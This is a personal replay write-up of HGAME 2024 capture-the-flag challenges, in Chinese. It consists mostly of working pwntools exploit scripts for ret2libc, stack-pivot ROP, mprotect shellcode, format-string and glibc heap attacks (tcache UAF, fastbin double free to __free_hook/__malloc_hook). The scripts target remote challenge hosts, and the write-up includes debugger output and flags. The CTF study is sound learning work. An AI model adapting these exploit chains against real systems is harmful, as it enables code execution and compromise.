Hgame2024复现

week1

pwn

0 签到

  • 直接nc

1 ezshellcode

  • 明文shellcode

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *

    # io = process("./vuln")
    io = remote("47.100.139.115",31134)

    io.sendlineafter("length of your shellcode:", b'-1')
    shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
    io.sendafter("shellcode:", shellcode)

    io.interactive()

2 Elden Random Challenge

  • 伪随机数+ret2libc
    libc本地得到的不对 然后打远程本来也没想着能通来着 结果通了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    from pwn import *
    from ctypes import *
    from LibcSearcher import *

    # io = process("./vuln")
    io = remote("47.100.139.115", 32002)
    elf = ELF("./vuln")
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']
    vuln_addr = 0x40125d
    context(arch='amd64', os='linux', log_level='debug')
    libc = cdll.LoadLibrary('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')

    io.sendlineafter("name.", b'yech0')

    libc.srand(libc.time(0))
    # while True:
    for i in range(99):
    num = libc.rand()%100+1
    io.sendafter("number:", int.to_bytes(num, 4, 'little'))

    # lib = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
    lib = ELF("./libc.so.6")
    pop_rdi_ret = 0x0000000000401423
    ret = 0x000000000040101a
    payload = b'a'*(0x30+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
    io.sendafter("mind.", payload)
    puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    print("puts"+hex(puts_addr))
    # gdb.attach(io)
    # pause()

    libc_base = puts_addr - lib.sym['puts']
    # libc_base = puts_addr - (0x7f8fd9379420-0x7f8fd92f5000)
    system = libc_base + lib.sym['system']
    binsh = libc_base + next(lib.search(b'/bin/sh\x00'))
    # libc = LibcSearcher("puts", puts_addr)
    # libc_base = puts_addr - libc.dump("puts")
    # system_addr = libc_base + libc.dump("system")
    # binsh_addr = libc_base + libc.dump("str_bin_sh")
    print("base"+hex(libc_base))

    # ogg = [0xe3b2e, 0xe3b31, 0xe3b34]
    # onegadget = libc_base + ogg[2]
    payload2 = b'\x00'*(0x30+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
    # payload2 = b'\x00'*(0x30) + p64(0) + p64(onegadget)
    io.sendline(payload2)

    io.interactive()

3 Elden Ring Ⅰ

  • 开了沙箱禁了execve 栈迁移打orw来着 但不到为啥就卡在shellcode那不执行(段错误)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    from pwn import *

    io = process("./vuln")
    # io = remote("47.102.130.35", 32258)
    elf = ELF("./vuln")
    context(arch='amd64', os='linux', log_level='debug')
    libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
    leave_ret = 0x0000000000401290
    ret = 0x000000000040101a
    pop_rdi_ret = 0x00000000004013e3
    read = 0x401276
    bss = 0x4044f0
    addr = 0x404700

    io.recvuntil('accord.\n')
    payload = b'a'*(0x100) + p64(bss) + p64(read)
    io.send(payload)
    sleep(0.5)
    # shellcode = shellcraft.open('./flag')
    # shellcode += shellcraft.read(3, addr, 0x50)
    # shellcode += shellcraft.write(1, addr, 0x50)
    # shellcode = '''
    # push 0x67616c66;
    # mov rdi,rsp;
    # xor esi,esi;
    # push 2;
    # pop rax;
    # syscall;
    # push 3;
    # pop rax;
    # mov rdi,rax;
    # mov rsi,[rsp+0x200];
    # mov edx,0x100;
    # xor eax,eax;
    # syscall;
    # mov edi,1;
    # mov rsi,[rsp+0x200];
    # push 1;
    # pop rax;
    # syscall;
    # '''
    # shellcode = asm('''
    # push 0x67616c66
    # mov rdi,rsp
    # xor esi,esi
    # push 2
    # pop rax
    # syscall
    # mov rdi,rax
    # mov rsi,rsp
    # mov edx,0x100
    # xor eax,eax
    # syscall
    # mov edi,1
    # mov rsi,rsp
    # push 1
    # pop rax
    # syscall
    # ''')
    gdb.attach(io)
    pause()
    shellcode = asm(shellcraft.cat('/flag'))
    # payload2 = b'b'*(0x100) + p64(bss+0x100) + p64(read)
    payload2 = shellcode.ljust(0x100, b'\x00') + p64(ret) + p64(0x4043f0)
    io.send(payload2)
    # gdb.attach(io)
    # pause()
    # payload3 = p64(ret) + p64(0x404500) + shellcode
    # io.sendline(payload3)
    # io.send(b'ccc')

    io.interactive()
    • 找到一个师傅的wp 可能真是bss段没有权限的问题(之前那个栈迁移的题可以执行可能是因为本题有setvbuf(_bss_start, 0LL, 2, 0LL); 那题是没有的
      师傅用了mprotect函数就能通

  • 师傅们用的都是泄露libc 用libc中的gadget实现read向bss中写 而且不能是shellcode 没执行权限嘛 用gadget写orw(ret2libc那种)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    # 好奇怪 换了libc成9.7的 但找offset还是要原来的libc才对
    from pwn import *

    # io = process("./vuln")
    io = remote("139.196.183.57", 32447)
    elf = ELF("./vuln")
    libc = ELF('./libc.so.6')
    # libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
    context(arch='amd64', os='linux', log_level='debug')
    pop_rdi_ret = 0x00000000004013e3
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']
    main = 0x401292

    io.recvuntil('accord.\n')

    off = b'a'*(0x100+8)
    payload = off
    payload += p64(pop_rdi_ret) + p64(puts_got)
    payload += p64(puts_plt) + p64(main)
    io.send(payload)

    puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    base = puts_addr - libc.sym['puts']
    # base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
    print('base'+hex(base))
    read = base + libc.sym['read']
    o = base + libc.sym['open']
    w = base + libc.sym['write']
    rdi = base + 0x0000000000023b6a
    rsi = base + 0x000000000002601f
    rdx = base + 0x0000000000142c92
    rax = base + 0x0000000000036174 # 返回值
    rsp = base + 0x000000000002f70a
    addr = 0x404500

    payload2 = off
    payload2 += p64(rsi) + p64(addr) + p64(read)
    payload2 += p64(rsp) + p64(addr+8)
    io.send(payload2)

    payload3 = b'./flag'.ljust(8, b'\x00')
    payload3 += p64(rdi) + p64(addr)
    payload3 += p64(rsi) + p64(0) + p64(o)
    payload3 += p64(rdi) + p64(3)
    payload3 += p64(rsi) + p64(addr+0x300)
    payload3 += p64(rdx) + p64(0x50) + p64(read)
    payload3 += p64(rdi) + p64(1)
    payload3 += p64(rsi) + p64(addr+0x300)
    payload3 += p64(rdx) + p64(0x50) + p64(w)
    # payload3 += p64(main) # chenxi师傅加了ret_addr 不加也能通
    io.send(payload3)


    io.interactive()
    1
    flag{D0_yoU_F4ncy_7he_E1d3nR1ng?I_D0!}
    • 或者

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      from pwn import *

      io = process("./vuln")
      # io = remote("139.196.183.57", 32447)
      elf = ELF("./vuln")
      libc = ELF('./libc.so.6')
      # libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
      context(arch='amd64', os='linux', log_level='debug')
      pop_rdi_ret = 0x00000000004013e3
      puts_got = elf.got['puts']
      puts_plt = elf.plt['puts']
      main = 0x40125b

      io.recvuntil('accord.\n')

      off = b'a'*(0x100+8)
      payload = off
      payload += p64(pop_rdi_ret) + p64(puts_got)
      payload += p64(puts_plt) + p64(main)
      io.send(payload)

      puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
      base = puts_addr - libc.sym['puts']
      # base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
      print('base'+hex(base))
      read = base + libc.sym['read']
      o = base + libc.sym['open']
      w = base + libc.sym['write']
      rdi = base + 0x0000000000023b6a
      rsi = base + 0x000000000002601f
      rdx = base + 0x0000000000142c92
      rax = base + 0x0000000000036174 # 返回值
      rsp = base + 0x000000000002f70a
      addr = 0x404500

      payload2 = b'a'*(0x100) + p64(addr)
      payload2 += p64(rax) + p64(addr) + p64(0x401282)
      payload2 += p64(0)*2
      io.send(payload2)

      payload3 = b'./flag'.ljust(8, b'\x00')
      payload3 += p64(rdi) + p64(addr)
      payload3 += p64(rsi) + p64(0) + p64(o)
      payload3 += p64(rdi) + p64(3)
      payload3 += p64(rsi) + p64(addr+0x300)
      payload3 += p64(rdx) + p64(0x50) + p64(read)
      payload3 += p64(rdi) + p64(1)
      payload3 += p64(rsi) + p64(addr+0x300)
      payload3 += p64(rdx) + p64(0x50) + p64(w)
      payload3 += p64(main)
      io.send(payload3)


      io.interactive()

      # './flag'.ljust(8, b'\x00')写最后也行 payload2的addr调整一下
    • 这题卡住的原因就是bss没有权限执行shellcode 写rop链就行了
      修改一下最开始没通的代码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      from pwn import *

      io = process("./vuln")
      # io = remote("139.196.183.57", 32447)
      elf = ELF("./vuln")
      libc = ELF('./libc.so.6')
      # libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
      context(arch='amd64', os='linux', log_level='debug')
      pop_rdi_ret = 0x00000000004013e3
      puts_got = elf.got['puts']
      puts_plt = elf.plt['puts']
      main = 0x40125b

      io.recvuntil('accord.\n')

      off = b'a'*(0x100+8)
      payload = off
      payload += p64(pop_rdi_ret) + p64(puts_got)
      payload += p64(puts_plt) + p64(main)
      io.send(payload)

      puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
      base = puts_addr - libc.sym['puts']
      # base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
      print('base'+hex(base))
      read = base + libc.sym['read']
      o = base + libc.sym['open']
      w = base + libc.sym['write']
      rdi = base + 0x0000000000023b6a
      rsi = base + 0x000000000002601f
      rdx = base + 0x0000000000142c92
      rax = base + 0x0000000000036174 # 返回值
      rsp = base + 0x000000000002f70a
      addr = 0x404500
      readtst = 0x401276

      payload2 = b'a'*(0x100) + p64(addr) + p64(readtst)
      io.send(payload2)
      payload4 = b'b'*(0x100) + p64(addr+0x100) + p64(readtst)
      io.send(payload4)
      # gdb.attach(io)
      # pause()
      payload3 = b'./flag'.ljust(8, b'\x00')
      payload3 += p64(rdi) + p64(addr)
      payload3 += p64(rsi) + p64(0) + p64(o)
      payload3 += p64(rdi) + p64(3)
      payload3 += p64(rsi) + p64(addr+0x300)
      payload3 += p64(rdx) + p64(0x50) + p64(read)
      payload3 += p64(rdi) + p64(1)
      payload3 += p64(rsi) + p64(addr+0x300)
      payload3 += p64(rdx) + p64(0x50) + p64(w)
      payload3 += p64(main)
      io.send(payload3)


      io.interactive()
    • 另一种方法:mprotect函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      from pwn import *

      io = process("./vuln")
      # io = remote("139.196.183.57", 32447)
      elf = ELF("./vuln")
      libc = ELF('./libc.so.6')
      # libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
      context(arch='amd64', os='linux', log_level='debug')
      pop_rdi_ret = 0x00000000004013e3
      puts_got = elf.got['puts']
      puts_plt = elf.plt['puts']
      main = 0x40125b

      io.recvuntil('accord.\n')

      off = b'a'*(0x100+8)
      payload = off
      payload += p64(pop_rdi_ret) + p64(puts_got)
      payload += p64(puts_plt) + p64(main)
      io.send(payload)

      puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
      base = puts_addr - libc.sym['puts']
      # base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
      print('base'+hex(base))
      mprotect = base + libc.sym['mprotect']
      read = base + libc.sym['read']
      rdi = base + 0x0000000000023b6a
      rsi = base + 0x000000000002601f
      rdx = base + 0x0000000000142c92
      rax = base + 0x0000000000036174 # 返回值
      rsp = base + 0x000000000002f70a
      addr = 0x404500
      readtst = 0x401276

      payload2 = b'a'*(0x100) + p64(addr) + p64(readtst)
      io.send(payload2)
      payload4 = b'b'*(0x100) + p64(addr+0x100) + p64(readtst)
      io.send(payload4)
      # gdb.attach(io)
      # pause()
      payload3 = p64(0) + p64(rdi) + p64(0x404000)
      payload3 += p64(rsi) + p64(0x1000)
      payload3 += p64(rdx) + p64(7) + p64(mprotect)
      payload3 += p64(rdi) + p64(0)
      payload3 += p64(rsi) + p64(addr)
      payload3 += p64(rdx) + p64(0x50) + p64(read)
      payload3 += p64(addr)
      io.send(payload3)

      shellcode = shellcraft.open('./flag')
      shellcode += shellcraft.read(3, addr, 0x50)
      shellcode += shellcraft.write(1, addr, 0x50)
      io.send(asm(shellcode))

      io.interactive()
    • 又看到一个师傅的wp能leak出栈地址:即libc的__environ能leak出栈地址

      1
      2
      3
      4
      5
      6
      7
      environ = base + libc.sym['__environ'] 
      p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(main)
      io.sendafter(b'you an accord.\n', p)
      stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1e8
      print('stack'+hex(stack)) # 写p的起始位置
      gdb.attach(io)
      pause()

4 fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# fini_arry不能改(Partial RELRO)
# 也没有栈溢出 不能chk_fail
# 也没有exit(即在printf之后调用的函数)
# 只能改返回地址
from pwn import *

io = process("./vuln")
elf = ELF("./vuln")
# io = remote('139.196.183.57', 32338)
context(arch='amd64', os='linux', log_level='debug')
backdoor = 0x40123d
main = 0x401331
vuln = 0x401254
printf_got = 0x404040
# 需要改的是给出地址中的内容 也就是说需要给出内容是main(返回地址)的栈地址

# 10
# 19/22/21
# io.recv()
sleep(0.5)
gdb.attach(io)
# pause()
payload = b'%72c%18$hhnaaaaa'+p64(backdoor)*6
io.send(payload)

io.interactive()
  • 这个是晨曦师傅的wp mad官方也没发这题的wp
    将offset为18的位置的二级指针修改 让返回地址为sys(中的一个就欧克)

    其实格式化字符串修改的都是二级指针 只是之前我们修改的是指定地址的
    如strfmt_payload(10, {printf_got : system})
    在函数栈中的结构为:栈地址 –> got表地址(0x404040)–> printf的真实地址(0x7f…)
    修改的就是printf的真实地址 也是二级指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> stack 40
00:0000│ rsp 0x7ffc0dbb3f20 ◂— 'make strings and getshell\n'
01:0008│ 0x7ffc0dbb3f28 ◂— 'ings and getshell\n'
02:0010│ 0x7ffc0dbb3f30 ◂— ' getshell\n'
03:0018│ 0x7ffc0dbb3f38 ◂— 0xa6c /* 'l\n' */
04:0020│ rdi 0x7ffc0dbb3f40 ◂— 0x2438312563323725 ('%72c%18$')
05:0028│ 0x7ffc0dbb3f48 ◂— 0x61616161616e6868 ('hhnaaaaa')
06:0030│ 0x7ffc0dbb3f50 —▸ 0x40123d (sys) ◂— endbr64
... ↓ 5 skipped
0c:0060│ 0x7ffc0dbb3f80 —▸ 0x7ffc0dbb3fa0 —▸ 0x7ffc0dbb3fc0 ◂— 0x1 # offset=18
0d:0068│ 0x7ffc0dbb3f88 —▸ 0x7ffc0dbb40d8 —▸ 0x7ffc0dbb63ac ◂— 0x53006e6c75762f2e /* './vuln' */
0e:0070│ 0x7ffc0dbb3f90 ◂— 0x0
0f:0078│ 0x7ffc0dbb3f98 ◂— 0x697d0efaef5a6200
10:0080│ rbp 0x7ffc0dbb3fa0 —▸ 0x7ffc0dbb3fc0 ◂— 0x1
11:0088│ 0x7ffc0dbb3fa8 —▸ 0x401369 (main+60) ◂— mov eax, 0
12:0090│ 0x7ffc0dbb3fb0 ◂— 0x0


pwndbg> tele 0x7ffc0dbb3f20 40
00:0000│ 0x7ffc0dbb3f20 ◂— 'make strings and getshell\n'
01:0008│ 0x7ffc0dbb3f28 ◂— 'ings and getshell\n'
02:0010│ 0x7ffc0dbb3f30 ◂— ' getshell\n'
03:0018│ 0x7ffc0dbb3f38 ◂— 0xa6c /* 'l\n' */
04:0020│ 0x7ffc0dbb3f40 ◂— 0x2438312563323725 ('%72c%18$') # offset=10
05:0028│ rbp 0x7ffc0dbb3f48 ◂— 0x61616161616e6868 ('hhnaaaaa')
06:0030│ 0x7ffc0dbb3f50 —▸ 0x40123d (sys) ◂— endbr64
... ↓ 5 skipped
0c:0060│ 0x7ffc0dbb3f80 —▸ 0x7ffc0dbb3fa0 —▸ 0x7ffc0dbb3f48 ◂— 0x61616161616e6868 ('hhnaaaaa') # 18
0d:0068│ 0x7ffc0dbb3f88 —▸ 0x7ffc0dbb40d8 —▸ 0x7ffc0dbb63ac ◂— 0x53006e6c75762f2e /* './vuln' */

re

ezIDA

  • 直接ida打开附件就能看到flag

ezASM

  • 好好好 gpt这么不靠谱 异或0x22算不对
    多用用python计算把

  • a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]
    for i in a:
       print(chr(i^0x22), end='')
    
    1
    2
    3

    * ```
    hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}

misc

签到

  • 公众号

Signin

  • 图片 也提示了换一种视角

  • https://lab.magiconch.com/xzk/

    斜着看⽣成器 - 神奇海螺⽣成器

    • 将图片压扁就能看出来的
  • 用ps图像->图像大小->把高度减小就行

  • hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
    

week2

pwn

Elden Ring Ⅱ

  • https://www.anquanke.com/post/id/241316

    直接对着这个文章 没怎么调就出了 对大师傅们来说就板子题 白给的 但我还是差不多是第一次做2.31的
    (而且libc也没出什么问题 有点子丝滑的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 2.31 cache uaf 改got表
# 突然发现这个没改got表 也是打hook的(2.31还是可以打free_hook的
from pwn import *

# io = process("./vuln")
io = remote("139.196.183.57", 32225)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')

def add(indx, size):
io.sendlineafter(">", b'1')
io.sendlineafter("Index: ", str(indx))
io.sendlineafter("Size: ", str(size))

def delete(indx):
io.sendlineafter(">", b'2')
io.sendlineafter("Index: ", str(indx))

def edit(indx, content):
io.sendlineafter(">", b'3')
io.sendlineafter("Index: ", str(indx))
io.sendlineafter("Content: ", content)

def show(indx):
io.sendlineafter(">", b'4')
io.sendlineafter("Index: ", str(indx))

for i in range (7):
add(i, 0x80)
add(7, 0x80)
add(8, 0x10)

for i in range (7):
delete(i)
delete(7)
show(7)
unsorted = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = unsorted - 0x70 - libc.sym['__malloc_hook']
system = base + libc.sym['system']
free_hook = base + libc.sym['__free_hook']
print(hex(base))
print(hex(system))

edit(6, p64(free_hook))
add(9, 0x80)
add(10, 0x80)
edit(10, p64(system))
# gdb.attach(io)
# pause()
add(11, 0x10)
edit(11, b'/bin/sh\x00')
delete(11)

io.interactive()
1
hgame{efe01dae79f12a6a269998df72444988fbd2b642}

fastnote

  • 2.31_9.14 全绿 size有问题 但没看出来怎么绕过

  • 好好好 晨曦师傅真的6 直接找2023的hgame 题基本都一样

  • 我去 牛的 这里指针没有清零的 但是我没看出来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    unsigned __int64 delete()
    {
    unsigned int id; // [rsp+Ch] [rbp-14h] BYREF
    void *ptr; // [rsp+10h] [rbp-10h]
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    printf("Index: ");
    __isoc99_scanf("%u", &id);
    if ( id > 0xF )
    {
    puts("There are only 16 pages.");
    }
    else
    {
    ptr = (&notes)[id];
    if ( ptr )
    {
    free(ptr);
    ptr = 0LL; // 这里其实没有把指针清零啊 清的只是ptr (&notes)[id]处还存在指针的 所以uaf
    }
    else
    {
    puts("No such note.");
    }
    }
    return __readfsqword(0x28u) ^ v3;
    }
    • 和上一个题差不多 但没有edit

    • 官方wp:

      2.31的double free 这个版本的tcache中有针对double free的检查,但fastbin中没有相关检查,因此

      可以先填满tcache,然后在fastbin中构造double free

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      # 2.31-9.14 cache 全绿
      from pwn import *

      # io = process("./vuln")
      io = remote("139.196.183.57", 32202)
      elf = ELF("./vuln")
      libc = ELF("./libc-2.31.so")
      context(arch='amd64', os='linux', log_level='debug')

      def add(indx, size, content):
      io.sendlineafter("choice:", b'1')
      io.sendlineafter("Index: ", str(indx))
      io.sendlineafter("Size: ", str(size))
      io.sendlineafter("Content: ", content)

      def show(indx):
      io.sendlineafter("choice:", b'2')
      io.sendlineafter("Index: ", str(indx))

      def delete(indx):
      io.sendlineafter("choice:", b'3')
      io.sendlineafter("Index: ", str(indx))

      for i in range (7):
      add(i, 0x80, b'tcache')
      add(7, 0x80, b'unsorted')
      add(8, 0x10, b'protect')

      for i in range (7):
      delete(i)
      delete(7)
      show(7)
      unsorted = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
      base = unsorted - 0x70 - libc.sym['__malloc_hook']
      system = base + libc.sym['system']
      free_hook = base + libc.sym['__free_hook']
      print(hex(base))

      for i in range (8):
      add(i, 0x30, b'tcache')
      add(8, 0x30, b'fastbin')
      add(9, 0x30, b'fastbin')
      add(10, 0x10, b'/bin/sh\x00')
      add(11, 0x10, b'protect')
      for i in range (8):
      delete(i)
      delete(8)
      delete(9)
      delete(8)

      for i in range(7):
      add(i, 0x30, b'tcache')
      add(7, 0x30,p64(free_hook))
      add(8, 0x30, b'deadbeef')
      add(8, 0x30, b'deadbeef')
      add(9, 0x30, p64(system))
      # gdb.attach(io)
      # pause()
      delete(10)

      io.interactive()
    1
    hgame{1f86c89584f2d4ebbe2a8044444b6a58dd6510ae}
    • 39行gdb调试可以看到,有chunk是从0x80中分割出来的 所以有一个chunk_size为0x50 所以为了填满tcache就多add一个
      后面的多调试调整
    • 还有52行以后,只剩fastbin中的chunk了 调试会发现这些chunk进入了tcache(还挺有趣)
  • 还看到一种方法 house_of_botcake

    libc-2.31的fastbin,存在UAF,可以用fastbin double free(2.31还未有严格的check),不过得先把tcache塞满,但这种方法较为繁琐,使用 house of botcake是最简单的

    https://blog.csdn.net/qq_62172019/article/details/133359490

old_fastnote

  • 本来还想着和之前一样打free_hook的 但是打不通

    报错:b”*** Error in `./vuln’: malloc(): memory corruption (fast): 0x00007f25857c67b8 ***\n”

    地址是unsortedbin的地址 具体的原因还不知道

    官方WP写了:2.23的fastbin double free,这个版本的fastbin在malloc时会检查拿到的chunk的size是否正确,所以很难申请到任意地址的指针。但是这⾥没有对⻬检查,可以通过字节错位实现绕过。由于__free_hook 附近没有合适的值可以拿来利⽤,所以这道题⽤ __malloc_hook +one_gadget 来完成攻击。

  • 然后就对着《不同libc版本下UAF的利用手法总结》发现2.23是打malloc_hook 改成onegadget(原因不详 应该也能改成system把
    (有的时候如果onegadget都打不通的话 就需要realloc函数来实现相应的条件限制了

    由于调⽤ __malloc_hook 时的的上下⽂正好都不满⾜one_gadget 的constraints,不过libc-2.23的constraints⼤部分和栈相关,同时 realloc 的开头部分有⼤量的push操作可以⽤来调整栈帧,且 __realloc_hook__malloc_hook 的位置是紧贴着的,可以同时被修改,所以可以先通过__malloc_hook 从 realloc 开头的合适位置开始执⾏,然后利⽤ __realloc_hook 调⽤ one_gadget

  • 这里是最后一个ogg打通了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    # no_pie 全绿
    from pwn import *

    # io = process("./vuln")
    io = remote("139.196.183.57", 31585)
    elf = ELF("./vuln")
    libc = ELF("./libc-2.23.so")
    context(arch='amd64', os='linux', log_level='debug')

    def add(indx, size, content):
    io.sendlineafter("choice:", b'1')
    io.sendlineafter("Index: ", str(indx))
    io.sendlineafter("Size: ", str(size))
    io.sendlineafter("Content: ", content)

    def show(indx):
    io.sendlineafter("choice:", b'2')
    io.sendlineafter("Index: ", str(indx))

    def delete(indx):
    io.sendlineafter("choice:", b'3')
    io.sendlineafter("Index: ", str(indx))

    add(0, 0x80, b'unsorted')
    add(1, 0x60, b'aaa')
    add(2, 0x60, b'aaa')
    add(3, 0x60, b'aaa')
    add(4, 0x10, b'protect')

    delete(0)
    show(0)
    unsorted = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    base = unsorted - 0x68 - libc.sym['__malloc_hook']
    fake = unsorted - 0x68 - 0x23
    print(hex(unsorted))
    print(hex(base))
    ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    onegadeet = base + ogg[3]

    delete(1)
    delete(2)
    delete(1)
    add(1, 0x60, p64(fake))
    add(2, 0x60, b'deadbeef')
    add(2, 0x60, b'deadbeef')
    add(1, 0x60, b'a'*(0x13)+p64(onegadeet))

    io.sendlineafter("choice:", b'1')
    io.sendlineafter("Index: ", b'1')
    io.sendlineafter("Size: ", b'1')
    # gdb.attach(io)
    # pause()

    io.interactive()
1
hgame{ee9422f85597939cdb57a3a74f368fbc31df5324}

ShellcodeMaster

  • 下面这个exp忘了还有沙箱,, 报错Program terminated with signal SIGSYS, Bad system call. 我说怎么不行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process("./shellcodeMaster")
elf = ELF("./shellcodeMaster")
context(arch='amd64', os='linux', log_level='debug')

io.recv()
shellcode = asm('''
mov esp, 0x404500
push 0x6873
mov ax, 59
mov edi, esp
xor edx,edx
xor esi,esi
syscall
''')
payload = shellcode
print(hex(len(payload))) # 0x16 如果没有sandbox应该能通
io.send(payload)

io.interactive()
  • 打orw就必须要read了

    出题⽬的是想让新⽣学习⼀下缩减shellcode⻓度的技巧。⽐赛中可能会遇到限制较⾼的。

    常⻅的⼿法有:置零⽤xor、寄存器⽤低位、push+pop等等。

    预期解是再实现⼀次read和mprotect,cdq指令可以控制dx

    好的 确实学习到了
    mprotect的函数调用号应该是10 没有设置rsi是0x1000也是可以的(原来值为0x2333) 设置的还是0x1000范围是rwps

    shl edi,12:寄存器edi的值向左移动12位(相当于乘以2的12次方)(”shl”表示逻辑左移操作(Shift Left)

    cdq:用于将32位寄存器eax中的有符号整数扩展为64位整数,将符号位拓展到edx寄存器中。具体操作如下:

    1. 如果eax寄存器中的值是正数,则edx寄存器被清零。
    2. 如果eax寄存器中的值是负数,则edx寄存器被设置为全1(0xFFFFFFFF)。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
     ► 0x233300b               syscall  <SYS_mprotect>
    addr: 0x2333000 ◂— mov dx, 7
    len: 0x2333
    prot: 0x7
    0x233300d cdq
    0x233300e mov esi, edi
    RAX 0xa
    RBX 0x2333
    RCX 0x2333
    RDX 0x7

    0x233300b syscall
    ► 0x233300d cdq
    0x233300e mov esi, edi
    *RAX 0xfffffffffffffff4
    RBX 0x2333
